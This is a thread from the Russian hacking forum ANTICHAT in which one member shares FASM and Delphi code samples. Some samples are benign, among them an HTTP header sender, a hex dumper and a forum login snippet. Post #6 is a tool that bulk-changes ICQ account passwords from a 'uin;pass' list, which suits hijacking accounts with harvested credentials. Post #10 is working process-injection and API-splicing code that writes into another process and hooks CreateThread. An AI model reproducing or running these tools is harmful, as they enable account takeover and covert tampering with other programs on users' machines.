HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.12.2010, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

Доброго времени суток, в данном блоге я буду высказывать свои мысли, рассказывать о том что познал в последнее время, выкладывать полезные на мой взгляд исходники программ и т.д.

Для начала немного обо мне:
Зовут меня Александр(?), увлекаюсь программированием. Любимые языки delphi, fasm, php.
Пишу небольшие проекты под заказ, курю маны на различных форумах итд итп
 
Ответить с цитированием

  #2  
Старый 28.04.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

Накотал небольшой пример отправки http хидеров и получение ответа от сервера, эдакий "Inet Crack",. по функционалу ему конечно уступает, но как "каркас" для чего-то большего вполне подойдёт
исходник на фасме

code:

format PE GUI 4.0
entry start
include '..\..\inc\win32ax.inc'
include '..\..\inc\api\wsock32.inc'
include '..\..\inc\api\kernel32.inc'
include '..\..\inc\api\user32.inc'
include '..\..\inc\api\comctl32.inc'
include 'strtodword.inc '

struct TIMEVAL
tv_sec dd ?
tv_usec dd ?
ends
tv TIMEVAL <>

section '.code' code import writeable readable executable
library kernel32,'KERNEL32.DLL', user32,'USER32.DLL', winsock,'WSOCK32.DLL',\
comctl32,'COMCTL32.DLL'
import winsock,\
WSAStartup,'WSAStartup', recv,'recv', connect,'connect', ws_gethostbyname,'gethostbyname',\
closesocket,'closesocket', send,'send', socket,'socket', WSACleanup,'WSACleanup',\
htons,'htons',inet_addr,'inet_addr',setsockopt,'se tsockopt'

start:
invoke InitCommonControls
invoke GetModuleHandle, 0
invoke DialogBoxParam, eax, 1, HWND_DESKTOP, DialogProc, 0
invoke ExitProcess,0

proc DialogProc hwnddlg,msg,wparam,lparam
push ebx esi edi
cmp [msg],WM_INITDIALOG
je .wminitdialog
cmp [msg],WM_COMMAND
je .wmcommand
cmp [msg],WM_CLOSE
je .wmclose
xor eax,eax
jmp .finish
.wminitdialog:
invoke GetDlgItem, [hwnddlg], ID_MESSAGE
jmp .processed
.wmcommand:
mov eax,[wparam]
cmp ax,IDC_BUTTON
jne .finish
;---------------------------WORK-------------------------------------------------------------
invoke lstrlenA,sendbuf ; Это
invoke RtlZeroMemory,sendbuf,eax ; очистка
invoke lstrlenA,recvbuf ; памяти, выделенная под
invoke RtlZeroMemory,recvbuf,eax ; буфер приёма и отправки хидеров.
invoke GetDlgItemText,[hwnddlg],IDC_MEMO,sendbuf,4096 ; Получаем в переменную sendbuf наш сформированный хидер
invoke GetDlgItemText,[hwnddlg],ID_MESSAGE,ip,100 ; Получаем в переменную ip хост или ип
invoke GetDlgItemText,[hwnddlg],ID_COMMAND,port,10 ; Получаем в переменную port номер порта
stdcall STR_to_DWORD,port ; процедура переводит строку в число, на воходе в eax - результат
mov [port],eax ; помещаем полученные данные в переменную port
invoke GetDlgItemText,[hwnddlg],ID_MESSAGE2,timeout,10 ; Получаем в переменную timeout данные
stdcall STR_to_DWORD,timeout ; ..и переводим предыдущей процедуркой также..
mov [tv.tv_sec],eax ; и пихаем сюда результат..т.е. заполняем струк-
mov [tv.tv_usec],0 ; ..туру TIMEVAL

invoke WSAStartup,1012h,wsadata ; инициализируем библиотеку сокетов
cmp eax,0 ; проверка..
jb .err ; ..на вшивость
invoke ws_gethostbyname, ip ; получаем информаци по хосту
cmp eax,0 ; проверка..
je .err3 ; ..на вшивость
virtual at eax ;--
.host hostent ; Ассоциируем указатель на структуруа со структурой которая определенна у вас в инклудах
end virtual ;--
mov eax, [.host.h_addr_list] ; производим некоторые манипуляции..
mov eax, [eax] ;..со структурой..
mov eax, [eax] ;.. HOSTENT а именно получаем айпи адресс

; заполняем структуру sockaddr_in которая необходима для корректной работы создоваемого сокета
; Коментить небуду, думаю и так всё понятно- указываем айпи адресс, тип сокета и т.д
mov [saddr.sin_addr],eax ;---
invoke htons,[port] ;---
mov [saddr.sin_port],ax ;---
mov [saddr.sin_family],AF_INET ;---
invoke socket, AF_INET, SOCK_STREAM, 6 ;---Сокет создан..
xchg eax, esi ; ..сохроняем его дескриптор
invoke setsockopt, esi, SOL_SOCKET, SO_RCVTIMEO, tv, sizeof.TIMEVAL ; указываем таймаут
invoke connect, esi, saddr, sizesaddr ; коннект
cmp eax,-1 ; проверка..
jz .err2 ; ..на вшивость
; Дальше идёт формирование хидера/Его отправка (invoke send)/приём (invoke recv)
invoke lstrlenA, sendbuf ;---
mov [sendbuf+eax],10 ;---
mov [sendbuf+eax+2],13 ;---
invoke lstrlenA, sendbuf ;---
mov [sendbuf+eax],10 ;---
mov [sendbuf+eax+2],13 ;---
invoke lstrlenA,sendbuf ;---
invoke send, esi, sendbuf, eax, 0 ;---
invoke recv, esi, recvbuf, 1000, 0 ;---
invoke lstrlenA,recvbuf ;---
cmp eax,0 ; проверка..
je @f ; ..на вшивость
invoke SetDlgItemText, [hwnddlg], IDC_MEMO2,recvbuf ; пишем данные которые пришли от удалённого сервера
jmp .processed
@@:
invoke SetDlgItemText, [hwnddlg], IDC_MEMO2,'Неудалось получить данные от сервера' ; в случае если по каким-то причинам буфер пуст- уведомляем.
pop ecx eax
ret
;----------------------------------------------------------------------------------------------
; Всё данные отправленны/полученны, конец..Ниже указанны метки, переход на которые возникают при проверке на вшивость
.err:
invoke MessageBox,0,'Ошибка при инициализации WSOCK32.DLL','[ Simple ] HEADER_HTTP sender- Fatal error',MB_ICONERROR
jmp .processed
.err2:
invoke MessageBox,0,'Неудаёться подключиться к хосту','[ Simple ] HEADER_HTTP sender- Error',MB_ICONINFORMATION
jmp .processed
.err3:
invoke MessageBox,0,'Проверьте правильность заполнения поля "HOST/IP"','[ Simple ] HEADER_HTTP sender- Information',MB_ICONINFORMATION
jmp .processed
;----------------------------------------------------------------------------------------------
.wmclose:
invoke closesocket,esi
invoke WSACleanup
invoke EndDialog,[hwnddlg],0
.processed:
mov eax,1
.finish:
xor eax,eax
.ret:
ret
endp

;------Ниже обьявление некоторых данных и секция ресурсов------------------------------------

saddr sockaddr_in
sizesaddr = sizeof.sockaddr_in
wsadata WSADATA

ID_STATIC = 99
ID_COMMAND = 100
ID_MESSAGE = 101
IDC_BUTTON = 102
IDC_MEMO = 103
IDC_MEMO2 = 104
ID_MESSAGE2 = 105
UDM_SETRANGE32 = 046Fh
SO_RCVTIMEO = 1006h
SOL_SOCKET = 0ffffh

port rd 2
ip rd 4
timeout rd 2
sendbuf rd 5000
recvbuf rd 100000

section '.rsrc' resource data readable
directory RT_DIALOG,dialogs
resource dialogs,1,LANG_RUSSIAN+SUBLANG_DEFAULT,TestDialog
dialog TestDialog,'[ Simple ] HEADER_HTTP sender..:Coded by Ancord:..',80,120,500,220,WS_SIZEBOX+WS_CAPTION+WS _POPUP+WS_SYSMENU+DS_MODALFRAME
dialogitem 'STATIC','HOST/IP:', ID_STATIC ,5,5, 30, 11, WS_VISIBLE
dialogitem 'edit', 'site.ru', ID_MESSAGE,5,15, 75, 11, WS_VISIBLE+WS_BORDER+WS_TABSTOP+ES_LOWERCASE
dialogitem 'STATIC','Port:', ID_STATIC ,80,5, 20, 11, WS_VISIBLE
dialogitem 'edit', '80', ID_COMMAND,80,15, 25, 11, ES_NUMBER+WS_VISIBLE+WS_BORDER+WS_TABSTOP
dialogitem 'STATIC','Timeout(ms):',ID_STATIC ,5,30, 75, 11, WS_VISIBLE
dialogitem 'edit', '2000', ID_MESSAGE2,5,40, 30, 11, ES_NUMBER+WS_VISIBLE+WS_BORDER+WS_TABSTOP+ES_LOWER CASE

dialogitem 'BUTTON','Connect',IDC_BUTTON,5,55,75,13,WS_CHILD+ WS_VISIBLE+WS_TABSTOP

dialogitem 'EDIT','',IDC_MEMO2, 200,70,300,150,WS_SIZEBOX+ES_LEFT+ES_WANTRETURN+ES _MULTILINE+ES_AUTOVSCROLL+ES_AUTOHSCROLL+WS_VISIBL E+WS_BORDER+WS_VSCROLL+WS_HSCROLL+WS_TABSTOP
dialogitem 'EDIT',,\
IDC_MEMO, 0,70,200,150,+ES_NOHIDESEL+ES_WANTRETURN+WS_SIZEBO X+ES_LEFT+ES_MULTILINE+WS_VISIBLE+WS_BORDER+WS_VSC ROLL+WS_HSCROLL+WS_TABSTOP

enddialog
 
Ответить с цитированием

  #3  
Старый 04.05.2011, 01:00
ChernoHod
Постоянный
Регистрация: 07.01.2011
Сообщений: 458
С нами: 8076566

Репутация: 23
По умолчанию

Глянул мельком пример,интересует вот что:

source:

Код:
include
'strtodword.inc '

Где его взять?В стандартном пакете вроде как нету.
 
Ответить с цитированием

  #4  
Старый 04.05.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

strtodword.inc:

code:

proc GetZSLength
push ecx
push esi

cld
xor al, al
mov ecx, 0FFFFFFFFh
mov esi, edi
repne scasb
sub edi, esi
mov eax, edi
dec eax

pop esi
pop ecx
ret
endp

proc STR_to_DWORD strc
mov esi,[strc]
mov eax,10
push esi
push ebx
push edi
push edx
push ecx

cmp eax, 16
ja .error
cmp eax, 2
jb .error

mov ecx, eax

mov edi, esi
call GetZSLength
mov edi, eax
add edi, esi ; edi point to end ZS

xor eax, eax
xor edx, edx
inc edx

.rep:
dec edi

xor ebx, ebx
mov bl, [edi]
cmp bl, 30h
jb .error
cmp bl, 39h
jna .digit
cmp bl, 41h
jb .error
@@:
cmp bl, 46h
jna .sim_upcase
cmp bl, 61h
jb .error
@@:
cmp bl, 66h
jna .sim_lowcase
ja .error

.digit:
sub bl, 30h
jmp @f
.sim_upcase:
sub bl, 37h
jmp @f
.sim_lowcase:
sub bl, 57h
@@:
cmp bl, cl
ja .error

imul ebx, edx
add eax, ebx
imul edx, ecx
cmp edi, esi
jnz .rep
.endrep:

jmp @f
.error:
xor eax, eax
@@:

pop ecx
pop edx
pop edi
pop ebx
pop esi
ret
endp
 
Ответить с цитированием

  #5  
Старый 22.06.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

TOHEX- написал небольшую утилиту для снятия дампа. Выбераем исходный файл-> выбераем файл для сохранения- и на выходе получаем HEX эквивалент, результат вида
(в данном случае файл PE формата)

code:

4D5A80000100000004001000FFFF0000400100000000000040 0000000000000000000000000000000000000
000000000000000000000000000000000800000000E1FBA0E0 0B409CD21B8014CCD21546869732070726F6772616D..etc

source:

Код:
format pe gui
4.0
include
'inc\win32ax.inc'
ofn OPENFILENAME
sdex
HEXTBL: db
48
,
49
,
50
,
51
,
52
,
53
,
54
,
55
,
56
,
57
,
65
,
66
,
67
,
68
,
69
,
70
FilterString1 db
'All Files (*.*)'
,
0
,
'*.*'
,
0
,
0
buffer db
512
dup (?)
hInstance     dd ?
hfile         dd ?
hfile2        dd ?
buf_len_read  dd ?
buf_len_write dd ?
buf           dd ?
datat         dd ?

scex
entry $
invoke GetModuleHandle,
0
mov  [hInstance],eax
mov  [ofn.lStructSize],sizeof.OPENFILENAME
push [hInstance]
pop  [ofn.hInstance]
mov  [ofn.lpstrFilter],FilterString1
mov  [ofn.lpstrFile],buffer
mov  [ofn.nMaxFile],
512
mov
byte
[buffer],
0
invoke GetOpenFileNameA,ofn

invoke CreateFile,buffer,GENERIC_READ,FILE_SHARE_READ,
0
,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
0
mov [hfile],eax
.
if
eax
=
INVALID_HANDLE_VALUE
invoke MessageBox,
0
,
'Неудалось открыть файл'
,
'TOHEX - fatal error [ coded by Ancord '
'2011'
' ]'
,
0
jmp .FINISH
.endif

invoke GetModuleHandle,
0
mov  [ofn.lStructSize],sizeof.OPENFILENAME
push [hInstance]
pop  [ofn.hInstance]
mov  [ofn.lpstrFilter],FilterString1
mov  [ofn.lpstrFile],buffer
mov  [ofn.nMaxFile],
512
mov
byte
[buffer],
0
invoke GetSaveFileNameA,ofn

invoke CreateFile,buffer,GENERIC_WRITE,FILE_SHARE_WRITE,
0
,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,
0
mov [hfile2],eax
.
if
eax
=
INVALID_HANDLE_VALUE
invoke MessageBox,
0
,
'Неудалось открыть файл 2'
,
'TOHEX - fatal error [ coded by Ancord '
'2011'
' ]'
,
0
jmp .FINISH
.endif

invoke SetFilePointer,[hfile],
0
,
0
,
0
.read:
invoke ReadFile,[hfile],datat,
1
,buf_len_read,
0
cmp [buf_len_read],
0
je  .endread
push [datat]
pop eax

mov     eax,[datat]
shr     eax,
4
mov     edx,dword
0
mov     al,
byte
[HEXTBL+eax]
mov
byte
[buf],al
mov     eax,dword
0
mov     eax,[datat]
mov     ebx,10h
idiv ebx
mov     eax,dword
0
mov     dl,[HEXTBL+edx]
mov
byte
[buf+
1
],dl

cmp [buf],
0
jnz
@f
invoke WriteFile,[hfile2],
'00'
,
2
,buf_len_write,
0
jmp .read
@@:

invoke lstrlen,buf
cmp eax,
1
jnz
@f
invoke WriteFile,[hfile2],
'0'
,
1
,buf_len_write,
0
invoke WriteFile,[hfile2],buf,
1
,buf_len_write,
0
jmp .read
@@:
invoke WriteFile,[hfile2],buf,
2
,buf_len_write,
0
jmp .read

.endread:
invoke CloseHandle,[hfile]
invoke CloseHandle,[hfile2]
invoke MessageBox,
0
,
'ok'
,
'TOHEX - Finish [ coded by Ancord '
'2011'
' ]'
,
0
.FINISH:
invoke ExitProcess,
0
siex
library kernel,
'kernel32.dll'
,\
        user,
'user32.dll'
,\
        comdlg32,
'comdlg32.dll'
import
kernel,ExitProcess,
'ExitProcess'
,CreateFile,
'CreateFileA'
,CloseHandle,
'CloseHandle'
,\
        SetFilePointer,
'SetFilePointer'
,ReadFile,
'ReadFile'
,\
        WriteFile,
'WriteFile'
,lstrlen,
'lstrlen'
,GetModuleHandle,
'GetModuleHandleA'
import
user,MessageBox,
'MessageBoxA'
import
comdlg32,GetSaveFileNameA,
'GetSaveFileNameA'
,GetOpenFileNameA,
'GetOpenFileNameA'

FASM
 
Ответить с цитированием

  #6  
Старый 27.06.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

Меняем пароль у ICQ номера через оф.сайт icq.com. В memo3 лист вида uin;pass в edit3 новый пароль,..

code:

for j:=0 to memo3.lines.Count-1 do begin
uin:=copy(memo3.lines[j],1,pos(';',memo3.lines[j])-1);
pass:=copy(memo3.lines[j],pos(';',memo3.lines[j])+1,length(memo3.lines[j]));

/////////////////// Гетим и парсим карму ////////////////////////////
memo3.lines[j]:=uin+';'+pass+' - Get session';
try
memo1.lines.Text:=Utf8ToAnsi(idhttp1.get('https://www.icq.com/login/ru?dest=/change-password/ru'));
except
memo3.lines[j]:=uin+';'+pass+' - error';
continue;
end;
memo3.lines[j]:=uin+';'+pass+' - Ok'; application.ProcessMessages();
karma:=copy(memo1.Lines.text,pos('karmaSyncKey" value="',memo1.lines.text)+21,64);

//////////// 1 POST запрос - авторизация ///////////////////////////
memo3.lines[j]:=uin+';'+pass+' - Authorization';
ts:=tstringlist.Create();
ts.add('karmaSyncKey='+karma);
ts.add('dest=');
ts.add('emailuin='+uin);
ts.add('password='+pass);
ts.add('remember_me=');
IdHTTP1.Request.ContentLength:=sizeof(ts.text);
try
memo1.lines.Text:=Utf8ToAnsi(idhttp1.post('https://www.icq.com/login/ru',ts));
except
memo3.lines[j]:=uin+';'+pass+' - error';
continue;
end;
memo3.lines[j]:=uin+';'+pass+' - Ok'; application.ProcessMessages();

//////////////// 2 GET запрос - получаем карму ////////////////////////
memo3.lines[j]:=uin+';'+pass+' - Change password';
try
memo1.lines.Text:=Utf8ToAnsi(idhttp1.get('https://www.icq.com/change-password/ru'));
except
memo3.lines[j]:=uin+';'+pass+' - error';
continue;
end;
application.ProcessMessages();
karma:=copy(memo1.Lines.text,pos('karmaSyncKey" value="',memo1.lines.text)+21,64);

////////////// ПОСЛЕДНИЙ POST запрос- меняем пасс ///////////////////////
ts.Clear;
ts.add('karmaSyncKey='+karma);
ts.add('first_name=');
ts.add('last_name=');
ts.add('email=');
ts.add('current_password='+pass);
ts.add('password='+edit3.text);
ts.add('retype_password='+edit3.text);
IdHTTP1.Request.ContentLength:=sizeof(ts.text);
try
memo1.lines.Text:=Utf8ToAnsi(idhttp1.post('https://www.icq.com/change-password/ru',ts));
if pos('Пароль был успешно изменен',memo1.lines.text) > 0 then begin
memo3.lines[j]:=uin+';'+pass+' - Ok';
memo4.lines.add(uin+';'+edit3.text);
continue;
end else
memo3.lines[j]:=uin+';'+pass+' - No';
except
memo3.lines[j]:=uin+';'+pass+' - error';
continue;
end;
end;
showmessage('Completed!');

код совсем сырой и не оптимизированный )
код на делфи..
p/s
есть вариант с synapse* и более модифированный, выложу весь проект если это кому интересно )

Delphi 7
 
Ответить с цитированием

  #7  
Старый 28.06.2011, 01:00
ChernoHod
Постоянный
Регистрация: 07.01.2011
Сообщений: 458
С нами: 8076566

Репутация: 23
По умолчанию

Ancord,пример снятия дампа на fasm не компелится.

Выдаёт ошибку на вот этих строчках:

source:

Код:
sdex
scex
siex
 
Ответить с цитированием

  #8  
Старый 28.06.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

Цитата:

Сообщение от ChernoHod

Ancord,пример снятия дампа на fasm не компелится.

Выдаёт ошибку на вот этих строчках:

source:

Код:
sdex
scex
siex

win32ax.inc

code:

sdex fix section '.data' data readable writeable
scex fix section '.code' code readable writeable executable
siex fix section '.import' import data readable
srex fix section '.rsrc' resource data readable
 
Ответить с цитированием

  #9  
Старый 04.08.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

авторизация vb4 и получение страницы, мб кому ещё пригодиться, недавно попросили написать

code:

var post:Tstringlist;
begin
post:=TStringList.Create;

post.Add('vb_login_username='+edit1.text);
post.Add('vb_login_password='+edit2.text);
post.Add('vb_login_password_hint=');
post.Add('s=');
post.Add('securitytoken=guest');
post.Add('do=login');

post.Add('vb_login_md5password='+AnsiLowerCase(MD5 (edit2.text)));
post.Add('vb_login_md5password_utf='+AnsiLowerCase (MD5(edit2.text)));

memo1.lines.text:=idhttp1.Post('http://site.com/login.php',post);
...
memo1.lines.text:=idhttp1.get('site.com/showthread.php?');

Delphi 7
 
Ответить с цитированием

  #10  
Старый 23.08.2011, 01:00
Ancord
Участник форума
Регистрация: 12.08.2010
Сообщений: 274
С нами: 8289686

Репутация: 89
По умолчанию

Простейший пример внедрения в процесс (инжект) и сплайсинг функции (в данном примере- CreateThread)
Проще говоря, мы внедряемся в процесс и меняем адресс API функции на адресс своей процедуры.

code:

format pe gui 4.0
include '..\inc\win32ax.inc'

IDC_BUTTON = 102

sdex
hwnd dd ?
pid dd ?
did dd ?
hInstance dd ?
hmem dd ?

InjectCode:
call $+5
pop esi
sub esi, $-InjectCode-1

; заполняем структуру pare - push 11111111 ret
mov [esi+fj.pushSt-InjectCode],$68
lea eax,[esi+lala-InjectCode]
mov [esi+fj.pushAdd-InjectCode],eax
mov [esi+fj.reteAdd-InjectCode],$C3

; пишем в память
lea eax,[esi+wrt-InjectCode]
push eax
push 6
lea eax,[esi+fj-InjectCode]
push eax
lea eax,[esi+p_CreateThread-InjectCode]

push 7C8106D7h ; add createthread

push INVALID_HANDLE_VALUE
call [esi+p_WriteProcessMemory-InjectCode]

cmp eax,0 ; если ошибка то прыгаем..
je err1
retn 4

; наша процедура которая будет вызываться..
proc lala
call $+5
pop esi
sub esi, $-InjectCode-1

push 0
lea eax, [esi+capt-InjectCode]
push eax
lea eax, [esi+mess-InjectCode]
push eax
push 0
call [esi+p_MessageBox-InjectCode]

ret
endp

err1:
push 0
lea eax, [esi+text-InjectCode]
push eax
lea eax, [esi+text-InjectCode]
push eax
push 0
call [esi+p_MessageBox-InjectCode]
retn 4

p_MessageBox dd ?
p_WriteProcessMemory dd ?
wrt dd ?
text db 'error write', 0
capt db 'Splice =*',0
mess db 'Данной действие запрещенно системой о.0',0
struct pare
pushSt db 1
pushAdd dd 1
reteAdd db 1
ends
fj pare <>
InjectSize = $-InjectCode

scex
entry $
invoke InitCommonControls
invoke GetModuleHandle, 0
mov [hInstance],eax
invoke DialogBoxParam, [hInstance], 1, HWND_DESKTOP, DialogProc, 0
invoke ExitProcess,0

proc DialogProc hwnddlg,umsg,wparam,lparam
push ebx esi edi
cmp [umsg],WM_COMMAND
je .WMCOMMAND
cmp [umsg],WM_CLOSE
je .WMCLOSE
jmp .FINISH
jmp @f

.WMCOMMAND:
cmp [wparam],IDC_BUTTON
jnz .FINISH

mov eax, [MessageBox]
mov [p_MessageBox], eax

; Собсна- стандартный инжект. Выделяем некоторую область памяти, пишем наши данные и запускаем нить
invoke FindWindow,NULL,'CAPTION PROCESS'
cmp eax,0
je @f
mov [hwnd],eax
invoke GetWindowThreadProcessId,[hwnd],pid
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, [pid]
test eax, eax
jz @F
mov [did],eax
invoke VirtualAllocEx,eax,NULL,InjectSize,MEM_COMMIT,PAGE _READWRITE
mov [hmem],eax
invoke WriteProcessMemory,[did],[hmem], InjectCode, InjectSize, 0
invoke CreateRemoteThread,[did],0,0,[hmem],0,CREATE_SUSPENDED, 0
invoke ResumeThread,eax
invoke CloseHandle,[pid]
jmp .FINISH

@@:
invoke MessageBox,0,'err','err',0
jmp .FINISH

.WMCLOSE:
invoke EndDialog,[hwnddlg],0
.FINISH:
mov eax,1
pop ebx esi edi
xor eax,eax
.ret:
ret
endp

siex
library kernel32, 'kernel32.dll', \
advapi32, 'advapi32.dll', \
user32, 'user32.dll', \
gdi,'GDI32.DLL', \
comctl32,'COMCTL32.DLL',\
winsock,'WSOCK32.DLL'

include '..\inc\api\kernel32.inc'
include '..\inc\api\advapi32.inc'
include '..\inc\api\user32.inc'
include '..\inc\api\GDI32.inc'
include '..\inc\api\COMCTL32.inc'
include '..\inc\api\wsock32.inc'

srex
directory RT_DIALOG,dialogs
resource dialogs,1,LANG_RUSSIAN+SUBLANG_DEFAULT,TestDialog
dialog TestDialog,'attack',80,120,90,62, WS_CAPTION+WS_POPUP+WS_SYSMENU+DS_MODALFRAME+WS_MI NIMIZEBOX
dialogitem 'BUTTON','attach', IDC_BUTTON, 15, 15, 55, 13, WS_VISIBLE+WS_TABSTOP+BS_DEFPUSHBUTTON
enddialog

FASM
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.